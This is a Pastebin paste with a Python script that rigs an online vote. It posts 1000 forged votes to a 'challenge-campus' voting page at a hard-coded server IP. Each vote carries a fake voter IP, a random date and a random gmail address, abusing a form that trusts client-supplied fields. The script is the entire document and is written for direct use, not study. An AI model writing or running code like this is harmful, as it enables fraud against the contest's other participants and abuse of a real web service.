Advertisement
Guest User

Cadeau pour Nantes

a guest
Jan 16th, 2019
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.77 KB | None | 0 0
  1. import requests
  2. import random
  3. import socket
  4. import struct
  5. from random import randrange
  6. from datetime import timedelta, datetime
  7. import string
  8.  
  9.  
  10. def random_date(start, end):
  11.     """
  12.    This function will return a random datetime between two datetime
  13.    objects.
  14.    """
  15.     delta = end - start
  16.     int_delta = (delta.days * 24 * 60 * 60) + delta.seconds
  17.     random_second = randrange(int_delta)
  18.     return start + timedelta(seconds=random_second)
  19.  
  20.  
  21. def random_char(y):
  22.     return ''.join(random.choice(string.ascii_letters) for x in range(y))
  23.  
  24.  
  25. headers = {
  26.     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  27.     'Content-Type': 'application/x-www-form-urlencoded',
  28.     'Origin': 'http://217.182.171.93',
  29.     'Content-Length': '78',
  30.     'Accept-Language': 'en-gb',
  31.     'Upgrade-Insecure-Requests': '1',
  32.     'Host': '217.182.171.93',
  33.     'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.1 Safari/605.1.15',
  34.     'Referer': 'http://217.182.171.93/challenge-campus/vote.php?bdeid=8',
  35.     'Accept-Encoding': 'gzip, deflate',
  36.     'Connection': 'keep-alive',
  37. }
  38.  
  39. d1 = datetime(year=2019, month=1, day=1)
  40. d2 = datetime(year=2019, month=1, day=15)
  41.  
  42. params = (
  43.     ('bdeid', '8'),
  44. )
  45.  
  46. for i in range(1000):
  47.     ip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
  48.     mail = random_char(10)
  49.     date = str(random_date(d1, d2))
  50.     data = {
  51.       'vote_ip': ip,
  52.       'vote_date': date,
  53.       'vote_bde': '8',
  54.       'vote_email': mail + '@gmail.com'
  55.     }
  56.     response = requests.post('http://217.182.171.93/challenge-campus/vote.php', headers=headers, params=params, data=data)
  57.     print("[+] vote from " + mail + "@gmail.com (" + ip + ") at " + date)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement